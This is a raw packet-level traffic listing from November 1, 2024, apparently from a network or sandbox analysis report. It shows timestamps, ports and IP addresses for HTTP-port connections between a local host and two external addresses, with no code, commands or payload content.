Nov 1, 2024 08:50:21.862989902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.862989902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863048077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863049984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.863049984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.863074064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863085985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863091946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863096952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863106966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863130093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863138914 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.863138914 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.863140106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863174915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863187075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863245010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.863245010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.863327026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863341093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863353014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863392115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.863456964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863468885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863481045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863514900 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.863523960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863528013 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.863534927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863547087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863578081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.863599062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863627911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863636971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.863640070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863708019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863714933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.863718987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.863756895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864031076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864089012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864100933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864137888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864157915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864168882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864181042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864192009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864232063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864232063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864259958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864270926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864280939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864291906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864303112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864305973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864314079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864325047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864332914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864336967 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864341974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864382982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864386082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864397049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864408016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864418983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864429951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864440918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864453077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864459991 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864459991 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864509106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864521027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864531994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864543915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864552021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864552021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864556074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864567041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864577055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864578009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864608049 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864609003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864623070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864633083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864644051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864654064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864662886 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864665985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864679098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864710093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864718914 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864758015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864768982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864779949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864790916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864804983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864816904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864831924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864836931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864842892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864854097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864866972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864878893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864891052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864907026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864921093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864933014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864934921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864950895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864967108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864978075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.864989042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864989042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.864989996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.865056992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.865068913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.865073919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.865096092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.889205933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.897923946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.897948027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.897958994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.897995949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898005962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898022890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.898022890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.898051977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898077965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.898092031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898103952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898144960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.898256063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898266077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898277998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898293972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898303986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.898304939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898315907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898327112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898330927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.898338079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898350000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898360014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.898391962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.898391962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.922775030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.923791885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.973891973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.973917961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.973929882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.973942041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.973953962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.973964930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.973995924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974013090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974014044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974013090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974026918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974059105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974061966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974071026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974081993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974092960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974134922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974134922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974138975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974169016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974181890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974185944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974204063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974215984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974226952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974226952 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974241018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974252939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974265099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974265099 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974277020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974277020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974328041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974349022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974349976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974360943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974361897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974385023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974396944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974405050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974423885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974443913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974455118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974466085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974477053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974488020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974505901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974518061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974533081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974544048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974561930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974574089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974594116 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974606037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974651098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974700928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974714041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974725962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974736929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974747896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974761963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974771976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974783897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974783897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974797964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974805117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974862099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974879980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974890947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974903107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974922895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974961042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974977016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974987984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.974997997 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974997997 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.974998951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.975012064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.975020885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.975053072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.975063086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.975069046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.975074053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.975085974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.975101948 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.976380110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:22.677364111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:05.254053116 CET	57639	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:05.258994102 CET	80	57639	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:05.259108067 CET	57639	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:05.259351969 CET	57639	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:05.264100075 CET	80	57639	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:06.167694092 CET	80	57639	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:06.167757988 CET	57639	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:07.680165052 CET	57639	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:07.680507898 CET	57653	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:07.685333967 CET	80	57639	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:07.685350895 CET	80	57653	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:07.685386896 CET	57639	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:07.685435057 CET	57653	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:07.685632944 CET	57653	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:07.690392017 CET	80	57653	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:08.611993074 CET	80	57653	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:08.612073898 CET	57653	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:08.615602016 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:08.620806932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:08.620871067 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:08.620971918 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:08.625806093 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.525327921 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.525340080 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.525440931 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.525444031 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.525455952 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.525481939 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.525494099 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.525501013 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.525506020 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.525521040 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.525532007 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.525549889 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.525574923 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.525582075 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.525597095 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.525624990 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.525640011 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.530497074 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.530512094 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.530524015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.530535936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.530581951 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.530630112 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.808553934 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808566093 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808577061 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808595896 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808605909 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808626890 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808638096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808650970 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808701038 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.808727026 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808738947 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808742046 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.808744907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808751106 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808758020 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808778048 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808790922 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808803082 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808809042 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808809042 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.808824062 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.808839083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808850050 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808856010 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808856010 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.808864117 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808876038 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808888912 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808902025 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808919907 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.808937073 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.808938026 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.808971882 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.834498882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.834522009 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.834532022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.834544897 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.834556103 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.834603071 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.834645033 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.834673882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.834692001 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.834702969 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.834708929 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.834733963 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.835078955 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.835119009 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.835119963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.835151911 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.986399889 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.986488104 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.986500978 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.986500978 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.986512899 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.986526012 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.986540079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.986596107 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.986596107 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.986596107 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:09.986797094 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:09.986809015 CET	80	57660	185.215.113.16	192.168.2.4
